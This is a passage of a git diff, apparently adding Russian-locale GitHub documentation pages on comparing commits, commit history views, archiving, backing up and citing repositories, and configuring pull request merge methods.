сравнения. + +Чтобы быстро сравнить две фиксации или идентификаторы объектов Git (OID) непосредственно друг с другом на {% data variables.product.prodname_dotcom %}, измените URL-адрес страницы "Сравнение изменений" репозитория. + +{% data reusables.repositories.two-dot-diff-comparison-example-urls %} + +Дополнительные сведения о других вариантах сравнения см. в разделе [Двух- и трехстороннее сравнение](/articles/about-comparing-branches-in-pull-requests#three-dot-and-two-dot-git-diff-comparisons). + +## Сравнение вилок + +Вы можете сравнить базовый репозиторий с любым ответвленным репозиторием. Это представление, которое отображается, когда пользователь выполняет запрос на вытягивание в проекте. + +Для сравнения ветвей в разных репозиториях указывайте перед именем ветви имя пользователя. Например, укажите `octocat:main` для `base` и `octo-org:main` для `compare`, чтобы сравнить ветвь `main` репозиториев, принадлежащих `octocat` и `octo-org` соответственно. + +Ниже приведен пример [сравнения между двумя репозиториями](https://github.com/github/linguist/compare/master...octocat:master). + +## Сравнение фиксаций + +Git использует нотацию `^`, чтобы обозначить "одну фиксацию до". + +Эту нотацию можно использовать для сравнения одной фиксации или ветви с ее непосредственными предшественниками. Например, `96d29b7^^^^^` указывает пять фиксаций до `96d29b7`, поскольку здесь пять символов `^`. Если ввести `96d29b7^^^^^` в ветви `base` и `96d29b7` в ветви `compare` будут сравниваться пять фиксаций до `96d29b7` с фиксацией `96d29b7`. + +Ниже приведен пример [сравнения с использованием нотации `^`](https://github.com/octocat/linguist/compare/octocat:96d29b7%5E%5E%5E%5E%5E...octocat:96d29b7). + +## Дополнительные материалы + +- [Изменение базовой ветви запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request) diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md new file mode 100644 index 000000000000..93be8e2fe50e --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md @@ -0,0 +1,39 @@ +--- +title: Различия между представлениями фиксации +intro: В зависимости от выбранного метода просмотра могут наблюдаться различия в журнале фиксаций. +redirect_from: + - /articles/differences-between-commit-views + - /github/committing-changes-to-your-project/differences-between-commit-views + - /github/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Commit views +ms.openlocfilehash: 2b5d59d385f815bd09c853e398d372bb4c861650 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145137093' +--- +На {% data variables.product.product_name %} можно просмотреть журнал фиксаций репозитория следующим образом: + +- Перейти непосредственно на [страницу фиксаций](https://github.com/mozilla/rust/commits/master) репозитория. +- Щелкнуть файл, а затем щелкнуть **Журнал**, чтобы перейти к [журналу фиксаций для определенного файла](https://github.com/mozilla/rust/commits/master/README.md). + +Эти два представления фиксации иногда могут отображать _разные_ сведения. Журнал для одного файла может не содержать фиксации, которые содержатся в журнале фиксаций репозитория. + +В Git существует несколько способов отображения журнала репозитория. Когда Git отображает журнал одного файла, он упрощает журнал, пропуская фиксации, которые не изменили файл. Git не проверяет, был ли файл изменен в результате каждой отдельной фиксации, а опускает целую ветвь, если при слиянии она не повлияла на итоговое содержимое файла. Будут отображаться не все фиксации в ветви, которая затронула файл. + +Для журнала фиксаций файла {% data variables.product.product_name %} явно следует этой простой стратегии. Это упрощает журнал, поскольку в нем отсутствуют фиксации, которые не повлияли на итоговый результат. Например, если боковая ветвь внесла изменения, а затем отменила их, эта фиксация не будет отображаться в журнале ветви. Это повышает эффективность проверки ветвей, так как вы видите только фиксации, влияющие на файл. + +Это усеченное представление может не всегда содержать сведения, которые вы ищете. Если вы хотите просмотреть весь журнал, {% data variables.product.product_name %} предоставляет представление с дополнительными сведениями на странице фиксаций репозитория. + +Дополнительные сведения о том, как Git рассматривает журнал фиксаций, см. в разделе [Упрощение журнала](https://git-scm.com/docs/git-log#_history_simplification) в статье справки о `git log`. + +## Дополнительные материалы + +- [Подписывание фиксаций](/articles/signing-commits) +- [Поиск фиксаций](/search-github/searching-on-github/searching-commits) diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md new file mode 100644 index 000000000000..47303af78196 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md @@ -0,0 +1,23 @@ +--- +title: Просмотр и сравнение фиксаций +intro: '' +redirect_from: + - /articles/viewing-and-comparing-commits + - /github/committing-changes-to-your-project/viewing-and-comparing-commits +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /comparing-commits + - /differences-between-commit-views +shortTitle: View & compare commits +ms.openlocfilehash: cf7592cb9cc19bd35a9136be39297e75841b9b47 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145137090' +--- + diff --git a/translations/ru-RU/content/pull-requests/index.md b/translations/ru-RU/content/pull-requests/index.md new file mode 100644 index 000000000000..9fe75fe5b76b --- /dev/null +++ b/translations/ru-RU/content/pull-requests/index.md @@ -0,0 +1,42 @@ +--- +title: Запросы на вытягивание +intro: 'Узнайте, как использовать запросы на вытягивание для предложения изменений в проект, получения предложенных изменений и устранения проблем в запросах на вытягивание, таких как конфликты слияния.' +introLinks: + overview: /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests +featuredLinks: + guides: + - /pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message + - /pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line + - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository + - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request + popular: + - /pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews + - /pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github + - /pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork + - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request + guideCards: + - /pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews + - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request + - /pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user +changelog: + label: pull-requests +layout: product-landing +shortTitle: Pull requests +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Pull requests +children: + - /committing-changes-to-your-project + - /collaborating-with-pull-requests +ms.openlocfilehash: ef158e51034ee5f8d9aba19323654ab413d244b3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063973' +--- + diff --git a/translations/ru-RU/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md b/translations/ru-RU/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md new file mode 100644 index 000000000000..026221d1a734 --- /dev/null +++ b/translations/ru-RU/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md @@ -0,0 +1,42 @@ +--- +title: Сведения об архивации содержимого и данных в GitHub +intro: 'Вы можете архивировать содержимое и данные в {% data variables.product.product_name %}, чтобы другие пользователи могли просматривать их и ссылаться на них.' +redirect_from: + - /articles/about-archiving-content-and-data-on-github + - /github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github + - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github +versions: + fpt: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Archive content & data +ms.openlocfilehash: aeb42b66f2a7d99a2918d3134971ea81b35248a2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145137057' +--- +## Обеспечение постоянства хранения данных общедоступных репозиториев + +{% data variables.product.product_name %} намеревается оставить общедоступные репозитории доступными, пока вы их не удалите. В некоторых случаях мы можем сделать общедоступный контент недоступным, например если: + +- Мы получаем [уведомление о снятии DMCA](/free-pro-team@latest/github/site-policy/dmca-takedown-policy) для содержимого в репозитории. +- Мы определяем, что содержимое репозитория нарушает наши [правила сообщества](/free-pro-team@latest/github/site-policy/github-community-guidelines) или [условия предоставления услуг](/free-pro-team@latest/github/site-policy/github-terms-of-service). + +Ученые и исследователи могут ссылаться на эту информацию в планах управления данными. + +## Сведения о {% data variables.product.prodname_archive %} + +{% data reusables.repositories.about-github-archive-program %} + +{% data variables.product.prodname_archive %} позволяет сторонним партнерам архивировать общедоступные репозитории с помощью общедоступного API. Эти партнеры архивируют различные типы данных с разной частотой и делают данные доступными для общественности. {% data variables.product.prodname_archive %} также обеспечивает постоянную защиту данных, сохраняя несколько копий в различных форматах данных и в разных местах. Например, {% data variables.product.company_short %} хранит репозитории в {% data variables.product.prodname_arctic_vault %}, очень долговременном архиве, рассчитанном на срок не менее 1000 лет. Дополнительные сведения см. в разделе [{% data variables.product.prodname_archive %}](https://archiveprogram.github.com/). + +Ответственное использование архивов включает соблюдение конфиденциальности пользователей. Дополнительные сведения см. в разделе [Общедоступные сведения на GitHub](/free-pro-team@latest/github/site-policy/github-privacy-statement#public-information-on-github). + +Можно отказаться от {% data variables.product.prodname_archive %} для репозитория. Дополнительные сведения см. в разделе [Участие или отказ от использования {% data variables.product.prodname_archive %} для общедоступного репозитория](/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository). + +## Добавление лицензии с открытым кодом для повышения архивируемости + +Библиотекам и исследователям может потребоваться юридическая защита для создания архивов общедоступного содержимого. Если вы хотите, чтобы третьи лица рассматривали вашу работу над {% data variables.product.product_name %} для архивирования, вы можете добавить к своим проектам [лицензию с открытым исходным кодом](/articles/open-source-licensing). Лицензия с открытым кодом предоставляет участникам явные разрешения на копирование и распространение материала в репозиториях. diff --git a/translations/ru-RU/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/ru-RU/content/repositories/archiving-a-github-repository/archiving-repositories.md new file mode 100644 index 000000000000..2257eb1ecdc7 --- /dev/null +++ b/translations/ru-RU/content/repositories/archiving-a-github-repository/archiving-repositories.md @@ -0,0 +1,68 @@ +--- +title: Archiving repositories +intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived. +redirect_from: + - /articles/archiving-repositories + - /github/creating-cloning-and-archiving-repositories/archiving-repositories + - /articles/about-archiving-repositories + - /github/creating-cloning-and-archiving-repositories/about-archiving-repositories + - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/about-archiving-repositories + - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/archiving-repositories +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- + +## About repository archival + +{% ifversion fpt or ghec %} +{% note %} + +**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." + +{% endnote %} +{% endif %} + +{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} +{% note %} + +**Note:** Customers who use {% data variables.product.prodname_GH_advanced_security %} can enable {% data variables.product.prodname_secret_scanning %} on archived repositories. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)." + +{% endnote %} +{% endif %} + +{% data reusables.repositories.archiving-repositories-recommendation %} + +Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project. + +When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first. + +You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)." + +## Archiving a repository + +{% data reusables.repositories.archiving-repositories-recommendation %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +3. Under "Danger Zone", click **Archive this repository** + ![Archive this repository button](/assets/images/help/repository/archive-repository.png) +4. Read the warnings. +5. Type the name of the repository you want to archive. + ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png) +6. Click **I understand the consequences, archive this repository**. + +## Unarchiving a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +3. Under "Danger Zone", click **Unarchive this repository** + ![Unarchive this repository button](/assets/images/help/repository/unarchive-repository.png) +4. Read the warnings. +5. Type the name of the repository you want to unarchive. + ![Unarchive repository warnings](/assets/images/help/repository/unarchive-repository-warnings.png) +6. Click **I understand the consequences, unarchive this repository**. diff --git a/translations/ru-RU/content/repositories/archiving-a-github-repository/backing-up-a-repository.md b/translations/ru-RU/content/repositories/archiving-a-github-repository/backing-up-a-repository.md new file mode 100644 index 000000000000..79f382bd8df3 --- /dev/null +++ b/translations/ru-RU/content/repositories/archiving-a-github-repository/backing-up-a-repository.md @@ -0,0 +1,45 @@ +--- +title: Backing up a repository +intro: 'You can use{% ifversion ghes or ghae %} Git and{% endif %} the API {% ifversion fpt or ghec %}or a third-party tool {% endif %}to back up your repository.' +redirect_from: + - /articles/backing-up-a-repository + - /github/creating-cloning-and-archiving-repositories/backing-up-a-repository + - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/backing-up-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- +{% ifversion fpt or ghec %} + +To download an archive of your repository, you can use the API for user or organization migrations. For more information, see "[Migrations](/rest/reference/migrations)." +{% else %} + +You can download and back up your repositories manually: + +- To download a repository's Git data to your local machine, you'll need to clone the repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." +- You can also download your repository's wiki. For more information, see "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)." + +When you clone a repository or wiki, only Git data, such as project files and commit history, is downloaded. You can use our API to export other elements of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to your local machine: + +- [Issues](/rest/reference/issues#list-issues-for-a-repository) +- [Pull requests](/rest/reference/pulls#list-pull-requests) +- [Forks](/rest/reference/repos#list-forks) +- [Comments](/rest/reference/issues#list-issue-comments-for-a-repository) +- [Milestones](/rest/reference/issues#list-milestones) +- [Labels](/rest/reference/issues#list-labels-for-a-repository) +- [Watchers](/rest/reference/activity#list-watchers) +- [Stargazers](/rest/reference/activity#list-stargazers) +- [Projects](/rest/reference/projects#list-repository-projects) +{% endif %} + +Once you have {% ifversion ghes or ghae %}a local version of all the content you want to back up, you can create a zip archive and {% else %}downloaded your archive, you can {% endif %}copy it to an external hard drive and/or upload it to a cloud-based backup or storage service such as [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview/), [Google Drive](https://www.google.com/drive/) or [Dropbox](https://www.dropbox.com/). + +{% ifversion fpt or ghec %} +## Third-party backup tools + +A number of self-service tools exist that automate backups of repositories. Unlike archival projects, which archive _all_ public repositories on {% data variables.product.product_name %} that have not opted out and make the data accessible to anyone, backup tools will download data from _specific_ repositories and organize it within a new branch or directory. For more information about archival projects, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." For more information about self-service backup tools, see the [Backup Utilities category on {% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=backup-utilities). +{% endif %} diff --git a/translations/ru-RU/content/repositories/archiving-a-github-repository/index.md b/translations/ru-RU/content/repositories/archiving-a-github-repository/index.md new file mode 100644 index 000000000000..4e1a2a121bb8 --- /dev/null +++ b/translations/ru-RU/content/repositories/archiving-a-github-repository/index.md @@ -0,0 +1,29 @@ +--- +title: Архивация репозитория GitHub +intro: 'Вы можете создавать архивы, резервные копии и ссылки на работу с помощью {% data variables.product.product_name %}, API или сторонних инструментов и служб.' +redirect_from: + - /articles/can-i-archive-a-repository + - /articles/archiving-a-github-repository + - /enterprise/admin/user-management/archiving-and-unarchiving-repositories + - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /archiving-repositories + - /about-archiving-content-and-data-on-github + - /referencing-and-citing-content + - /backing-up-a-repository +shortTitle: Archive a repository +ms.openlocfilehash: 55a4912215bad5f674bf535121c0bf449271d268 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145137048' +--- + diff --git a/translations/ru-RU/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md b/translations/ru-RU/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md new file mode 100644 index 000000000000..27fa92e78b54 --- /dev/null +++ b/translations/ru-RU/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md @@ -0,0 +1,39 @@ +--- +title: Referencing and citing content +intro: You can use third-party tools to cite and reference content on GitHub. +redirect_from: + - /articles/referencing-and-citing-content + - /github/creating-cloning-and-archiving-repositories/referencing-and-citing-content + - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/referencing-and-citing-content +versions: + fpt: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Reference & cite content +--- +## Issuing a persistent identifier for your repository with Zenodo + +To make your repositories easier to reference in academic literature, you can create persistent identifiers, also known as Digital Object Identifiers (DOIs). You can use the data archiving tool [Zenodo](https://zenodo.org/about) to archive a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} and issue a DOI for the archive. + +{% tip %} + +**Tips:** +- Zenodo can only access public repositories, so make sure the repository you want to archive is [public](/articles/making-a-private-repository-public). +- If you want to archive a repository that belongs to an organization, the organization owner may need to [approve access](/articles/approving-oauth-apps-for-your-organization) for the Zenodo application. +- Make sure to include a [license](/articles/open-source-licensing) in your repository so readers know how they can reuse your work. + +{% endtip %} + +1. Navigate to [Zenodo](http://zenodo.org/). +2. In the upper-left corner of the screen, click **Log in**. ![Zenodo log in button](/assets/images/help/repository/zenodo_login.png) +3. Click **Log in with GitHub**. ![Log into Zenodo with GitHub](/assets/images/help/repository/zenodo_login_with_github.png) +4. Review the information about access permissions, then click **Authorize application**. ![Authorize Zenodo](/assets/images/help/repository/zenodo_authorize.png) +5. Navigate to the [Zenodo GitHub page](https://zenodo.org/account/settings/github/). ![Zenodo GitHub page](/assets/images/help/repository/zenodo_github_page.png) +6. To the right of the name of the repository you want to archive, toggle the button from **Off** to **On** to enable it for archiving. ![Enable Zenodo archiving on repository](/assets/images/help/repository/zenodo_toggle_on.png) + +Zenodo archives your repository and issues a new DOI each time you create a new {% data variables.product.product_name %} [release](/articles/about-releases/). Follow the steps at "[Creating releases](/articles/creating-releases/)" to create a new one. + +## Publicizing and citing research material with Figshare + +Academics can use the data management service [Figshare](http://figshare.com) to publicize and cite research material. For more information, see [Figshare's support site](https://knowledge.figshare.com/articles/item/how-to-connect-figshare-with-your-github-account). diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md new file mode 100644 index 000000000000..cbbb88a50515 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md @@ -0,0 +1,50 @@ +--- +title: About merge methods on GitHub +intro: 'You can allow contributors with push access to your repository to merge their pull requests on {% data variables.location.product_location %} with different merge options or enforce a specific merge method for all of your repository''s pull requests.' +redirect_from: + - /articles/about-merge-methods-on-github + - /github/administering-a-repository/about-merge-methods-on-github + - /github/administering-a-repository/configuring-pull-request-merges/about-merge-methods-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: About merge methods +--- +{% data reusables.pull_requests.configure_pull_request_merges_intro %} You can enforce one type of merge method, such as commit squashing or rebasing, by only enabling the desired method for your repository. + +{% ifversion fpt or ghec %} +{% note %} + +**Note:** When using the merge queue, you no longer get to choose the merge method, as this is controlled by the queue. {% data reusables.pull_requests.merge-queue-references %} + +{% endnote %} +{% endif %} + +{% data reusables.pull_requests.default_merge_option %} + +The default merge method creates a merge commit. You can prevent anyone from pushing merge commits to a protected branch by enforcing a linear commit history. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-linear-history)." + +## Squashing your merge commits + +{% data reusables.pull_requests.squash_and_merge_summary %} + +Before enabling squashing commits, consider these disadvantages: +- You lose information about when specific changes were originally made and who authored the squashed commits. +- If you continue working on the head branch of a pull request after squashing and merging, and then create a new pull request between the same branches, commits that you previously squashed and merged will be listed in the new pull request. You may also have conflicts that you have to repeatedly resolve in each successive pull request. For more information, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squashing-and-merging-a-long-running-branch)." +- Some Git commands that use the "SHA" or "hash" ID may be harder to use since the SHA ID for the original commits is lost. For example, using [`git rerere`](https://git-scm.com/docs/git-rerere) may not be as effective. + +For more information, see "[Configuring commit squashing for pull requests](/articles/configuring-commit-squashing-for-pull-requests)." + +## Rebasing and merging your commits + +{% data reusables.pull_requests.rebase_and_merge_summary %} + +Before enabling commit rebasing, consider these disadvantages: +- Repository contributors may have to rebase on the command line, resolve any conflicts, and force push their changes to the pull request's topic branch (or remote head branch) before they can use the **rebase and merge** option on {% data variables.location.product_location %}. Force pushing must be done carefully so contributors don't overwrite work that others have based their work on. To learn more about when the **Rebase and merge** option is disabled on {% data variables.location.product_location %} and the workflow to re-enable it, see "[About pull request merges](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits)." +- {% indented_data_reference reusables.pull_requests.rebase_and_merge_verification spaces=3 %} + +For more information, see "[Configuring commit rebasing for pull requests](/articles/configuring-commit-rebasing-for-pull-requests)." diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md new file mode 100644 index 000000000000..610176d04528 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md @@ -0,0 +1,32 @@ +--- +title: Configuring commit merging for pull requests +intro: 'You can enforce, allow, or disable merging with a merge commit for all pull request merges on {% data variables.location.product_location %} in your repository.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Configure commit merging +--- +{% data reusables.pull_requests.configure_pull_request_merges_intro %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +1. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow merge commits**. This allows contributors to merge a pull request with a full history of commits.{% ifversion default-merge-squash-commit-message %} + ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-merge-commits.png){% endif %}{% ifversion ghes = 3.6 %} + ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-merge-commits-no-dropdown.png){% endif %} +{% ifversion ghes < 3.6 %} + ![allow_standard_merge_commits](/assets/images/help/repository/pr-merge-full-commits.png){% endif %} +{% ifversion default-merge-squash-commit-message %} +1. Optionally, under **Allow merge commits**, use the dropdown to choose the format of the commit message presented to contributors when merging. The default message includes the pull request number and title. For example, `Merge pull request #123 from patch-1`. You can also choose to use just the pull request title, or the pull request title and description. +![Screenshot of emphasized default commit message dropdown](/assets/images/help/repository/default-commit-message-dropdown.png) +{% endif %} + +If you select more than one merge method, collaborators can choose which type of merge commit to use when they merge a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} + +## Further reading + +- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)" +- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md new file mode 100644 index 000000000000..c4652106f104 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md @@ -0,0 +1,28 @@ +--- +title: Configuring commit rebasing for pull requests +intro: 'You can enforce, allow, or disable commit rebasing for all pull request merges on {% data variables.location.product_location %} in your repository.' +redirect_from: + - /articles/configuring-commit-rebasing-for-pull-requests + - /github/administering-a-repository/configuring-commit-rebasing-for-pull-requests + - /github/administering-a-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Configure commit rebasing +--- +{% data reusables.pull_requests.configure_pull_request_merges_intro %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +3. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow rebase merging**. This allows contributors to merge a pull request by rebasing their individual commits onto the base branch. +{% ifversion default-merge-squash-commit-message %} + ![Screenshot of Pull Request settings with allow rebase merging checkbox emphasized](/assets/images/help/repository/allow-rebase-merging.png){% endif %}{% ifversion ghes = 3.6 %} + ![Screenshot of Pull Request settings with allow rebase merging checkbox emphasized](/assets/images/help/repository/allow-rebase-merging-no-dropdown.png){% endif %} + {% ifversion ghes < 3.6 %} + ![Pull request rebased commits](/assets/images/help/repository/pr-merge-rebase.png){% endif %} + +If you also select another merge method, collaborators will be able to choose the type of merge commit when merging a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md new file mode 100644 index 000000000000..7814e66262a4 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md @@ -0,0 +1,38 @@ +--- +title: Configuring commit squashing for pull requests +intro: 'You can enforce, allow, or disable commit squashing for all pull request merges on {% data variables.location.product_location %} in your repository.' +redirect_from: + - /articles/configuring-commit-squashing-for-pull-requests + - /github/administering-a-repository/configuring-commit-squashing-for-pull-requests + - /github/administering-a-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Configure commit squashing +--- +{% data reusables.pull_requests.configure_pull_request_merges_intro %} + +{% data reusables.pull_requests.default-commit-message-squash-merge %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +1. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow squash merging**. This allows contributors to merge a pull request by squashing all commits into a single commit. The default commit message presented to contributors when merging is the commit title and message if the pull request contains only 1 commit, or the pull request title and list of commits if the pull request contains 2 or more commits. {% ifversion ghes = 3.6 %} To always use the title of the pull request regardless of the number of commits in the pull request select **Default to PR title for squash merge commits**.{% endif %}{% ifversion default-merge-squash-commit-message %} + ![Pull request squashed commits](/assets/images/help/repository/allow-squash-merging.png){% endif %}{% ifversion ghes = 3.6 %} + ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-squash-merging-no-dropdown.png){% endif %} +{% ifversion ghes < 3.6 %} + ![Pull request squashed commits](/assets/images/enterprise/3.5/repository/pr-merge-squash.png){% endif %} +{% ifversion default-merge-squash-commit-message %} +1. Optionally, under **Allow squash merging**, use the dropdown to choose the format of the default squash commit message presented to contributors when merging. The default message uses the commit title and message if the pull request contains only 1 commit, or the pull request title and list of commits if the pull request contains 2 or more commits. You can also choose to use just the pull request title, the pull request title and commit details, or the pull request title and description. +![Screenshot of emphasized default squash message 